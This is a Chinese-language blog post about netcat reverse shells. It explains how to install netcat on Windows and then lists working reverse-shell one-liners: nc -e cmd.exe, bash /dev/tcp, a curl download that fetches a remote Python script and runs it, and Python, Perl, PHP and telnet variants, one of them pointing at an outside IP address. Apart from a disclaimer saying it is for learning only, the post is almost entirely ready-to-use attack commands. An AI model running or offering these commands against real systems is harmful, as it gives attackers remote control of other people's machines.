Netcat反弹Shell详解
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
Windows
- 进入下载地址下载文件https://eternallybored.org/misc/netcat/
- 将文件夹中的对应可执行文件复制到C:\Windows\System32的文件夹下(有32位版和64位版)
- 直接打开
cmd
输入nc XXXXXX
执行就好
Linux
- 直接使用
nc
命令就好
自己常用的命令
- Windows
nc -e cmd.exe -d IP port(靶机) |
- Linux
nc -lvvp 8080(监听机) 监听8080端口 |
主要参数
#无命令行界面,使用后台模式 |
常见反弹的方法
所用用例中的127.0.0.1
为接收机器的IP
,6666
位接收机器的端口
-
正常的反弹
bash -i >& /dev/tcp/127.0.0.1/6666 0>&1
-
改文件名反弹
./test -i >& /dev/tcp/127.0.0.1/6666 0>&1
-
下载文件后执行反弹
curl -o /tmp/x.py https://raw.githubusercontent.com/y1ng1996/VulScript/master/back.py
python /tmp/x.py 127.0.0.1 6666 -
写
python
代码反弹python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
-
写
perl
代码反弹perl -e 'use Socket;$i="127.0.0.1";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
-
用
php
代码反弹php -r '$sock=fsockopen("127.0.0.1",6666);exec("/bin/sh -i <&3 >&3 2>&3");'
-
用
telnet
反弹telnet 127.0.0.1 6666| /bin/bash | telnet 139.217.21.35 5555
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 ascotbe!
评论